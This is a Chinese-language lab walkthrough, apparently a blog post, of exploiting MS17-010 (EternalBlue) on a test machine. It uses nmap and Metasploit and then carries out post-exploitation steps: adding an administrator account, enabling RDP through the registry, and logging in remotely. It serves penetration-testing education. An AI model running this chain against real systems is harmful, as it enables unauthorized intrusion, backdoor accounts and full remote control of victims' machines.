一、漏洞原理简介
MS17-010漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(Large Non-Paged Kernel Pool)上存在缓冲区溢出。
函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小,因计算大小错误,而导致缓冲区溢出。
二、漏洞发现
扫描本网段存活的主机
nmap -T4 -sS -sC -sV 192.168.180.0/24
![](https://img-blog.csdnimg.cn/img_convert/a4ba4e0fb016418db0632b7d0ddb7ef6.png)
![](https://img-blog.csdnimg.cn/img_convert/4a97804e7ffb49a392c7e3041636ecaa.png)
这里我们发现靶机开启445端口,而我们ms17-010利用的就是445端口的SMB服务
三、测试漏洞
1、打开kali中msfconsole漏洞测试平台
![](https://img-blog.csdnimg.cn/img_convert/a80990e3b0c44d82ae2d3afff37c3c31.png)
搜索ms17-010漏洞测试模块
search ms17-010
![](https://img-blog.csdnimg.cn/img_convert/17979d0a64e34c54b74a80d358576dcd.png)
3、我们使用kali中的漏洞验证模块,验证靶机是否存在ms17-010漏洞
use 3
![](https://img-blog.csdnimg.cn/img_convert/c93d922dfbfd4ae9b2ccf716c6c21bfa.png)
4、查看该模块需要配置的参数
show options
![](https://img-blog.csdnimg.cn/img_convert/20bf2f86d001496eb3d9473d82db3789.png)
5、设置靶机IP
set RHOSTS 192.168.180.129
![](https://img-blog.csdnimg.cn/img_convert/10cdc02e069447fb884183499f550553.png)
6、运行漏洞验证模块
run
![](https://img-blog.csdnimg.cn/img_convert/887aab31fde54057a664d3ff351fb2af.png)
验证成功发现目标靶机存在ms17-010漏洞
7、进行渗透测试
使用漏洞攻击模块
use exploit/windows/smb/ms17_010_eternalblue
![](https://img-blog.csdnimg.cn/img_convert/15a282f3867b4cd39efc47198457ab86.png)
8、设置靶机IP
set RHOSTS 192.168.180.129
![](https://img-blog.csdnimg.cn/img_convert/85d86cf351554072b63a2674c17c4574.png)
9、运行漏洞攻击模块
run
![](https://img-blog.csdnimg.cn/img_convert/103af05f177f476bb38668339fc62d42.png)
![](https://img-blog.csdnimg.cn/img_convert/8499692f4b9241c4831fc859c84257f0.png)
成功拿到靶机shell
四、漏洞利用
我们可以使用该漏洞做很多事情,这里简单演示通过shell对靶机进行远程控制
1、创建一个新用户
![](https://img-blog.csdnimg.cn/img_convert/700af570b8b3433b9bf1ada7a0cfc425.png)
这里我们创建了一个用户名为user密码为P@ssw0rd的用户
2、对user用户提权,添加到超级管理员组
net localgroup administrators user /add
![](https://img-blog.csdnimg.cn/img_convert/73b5b93c61fb4b4bad01144000baf87a.png)
3、开启远程桌面
我们先查看靶机3389端口开启情况
netstat -ano
![](https://img-blog.csdnimg.cn/img_convert/7030c0868efa4cb0b5b42d24ed4b9be9.png)
这里没有看到3389端口开启,我们手动开启
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
![](https://img-blog.csdnimg.cn/img_convert/6a9998d437764ddbbda795b8acf8ad76.png)
再次查看端口开启情况
![](https://img-blog.csdnimg.cn/img_convert/bc3f03cae03a4da98e24af6bb7437982.png)
发现已经开启
4、连接远程桌面
rdesktop 192.168.180.129:3389
![](https://img-blog.csdnimg.cn/img_convert/03742246ba0b4e6d8286399b66722101.png)
![](https://img-blog.csdnimg.cn/img_convert/0e6199a53223459296edaea7f1eb246e.png)
我们用刚刚创建的user用户登录
![](https://img-blog.csdnimg.cn/img_convert/241a002abf874623b987bbf1857acd38.png)
登录成功,实验结束